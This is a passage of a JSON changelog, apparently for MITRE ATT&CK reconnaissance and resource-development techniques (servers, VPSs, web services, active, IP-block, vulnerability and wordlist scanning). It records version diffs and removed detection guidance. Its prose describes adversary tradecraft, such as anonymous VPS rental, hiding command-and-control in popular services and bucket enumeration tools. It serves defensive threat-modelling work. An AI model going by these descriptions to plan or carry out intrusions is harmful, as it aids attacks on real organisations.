}, + { + "type": "attack-pattern", + "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:48:09.578000+00:00", + "modified": "2025-10-24 17:48:50.911000+00:00", + "name": "Server", + "description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/004", + "external_id": "T1583.004" + }, + { + "source_name": "Freejacked", + "description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.", + "url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/" + }, + { + "source_name": "Free Trial PurpleUrchin", + "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", + "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + }, + { + "source_name": "NYTStuxnet", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.911000+00:00\", \"old_value\": \"2025-04-15 23:05:58.721000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0871: Detection of Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:44:23.935000+00:00", + "modified": "2025-10-24 17:48:59.607000+00:00", + "name": "Virtual Private Server", + "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/003", + "external_id": "T1583.003" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "TrendmicroHideoutsLease", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.607000+00:00\", \"old_value\": \"2025-04-15 23:18:46.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)", + "DS0035: Internet Scan (Response Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0838: Detection of Virtual Private Server" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:50:29.936000+00:00", + "modified": "2025-10-24 17:49:04.554000+00:00", + "name": "Web Services", + "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/006", + "external_id": "T1583.006" + }, + { + "source_name": "Hacker News GitHub Abuse 2024", + "description": "Dvir Sasson. (2024, May 13). GitHub Abuse Flaw Shows Why We Can't Shrug Off Abuse Vulnerabilities in Security. Retrieved March 31, 2025.", + "url": "https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html" + }, + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.", + "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft", + "Dvir Sasson, Reco" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.554000+00:00\", \"old_value\": \"2025-04-15 19:58:49.217000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0896: Detection of Web Services" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:53:16.526000+00:00", + "modified": "2025-10-24 17:48:53.018000+00:00", + "name": "Active Scanning", + "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595", + "external_id": "T1595" + }, + { + "source_name": "Botnet Scan", + "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.", + "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf" + }, + { + "source_name": "OWASP Fingerprinting", + "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.", + "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.018000+00:00\", \"old_value\": \"2025-04-15 21:44:26.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0830: Detection of Active Scanning" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:54:23.193000+00:00", + "modified": "2025-10-24 17:49:28.603000+00:00", + "name": "Scanning IP Blocks", + "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595/001", + "external_id": "T1595.001" + }, + { + "source_name": "Botnet Scan", + "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.", + "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Diego Sappa, Securonix" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.603000+00:00\", \"old_value\": \"2025-04-15 23:02:44.660000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0817: Detection of Scanning IP Blocks" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:55:16.047000+00:00", + "modified": "2025-10-24 17:48:48.647000+00:00", + "name": "Vulnerability Scanning", + "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595/002", + "external_id": "T1595.002" + }, + { + "source_name": "OWASP Vuln Scanning", + "description": "OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.", + "url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.647000+00:00\", \"old_value\": \"2025-04-15 23:19:33.981000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0867: Detection of Vulnerability Scanning" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-04 18:56:38.844000+00:00", + "modified": "2025-10-24 17:49:18.777000+00:00", + "name": "Wordlist Scanning", + "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1595/003", + "external_id": "T1595.003" + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf" + }, + { + "source_name": "GCPBucketBrute", + "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.", + "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/" + }, + { + "source_name": "S3Recon GitHub", + "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.", + "url": "https://github.com/clarketm/s3recon" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jan Petrov, Citi", + "Elvis Veliz, Citi", + "Richard Julian, Citi" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.777000+00:00\", \"old_value\": \"2025-04-15 23:22:19.165000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. 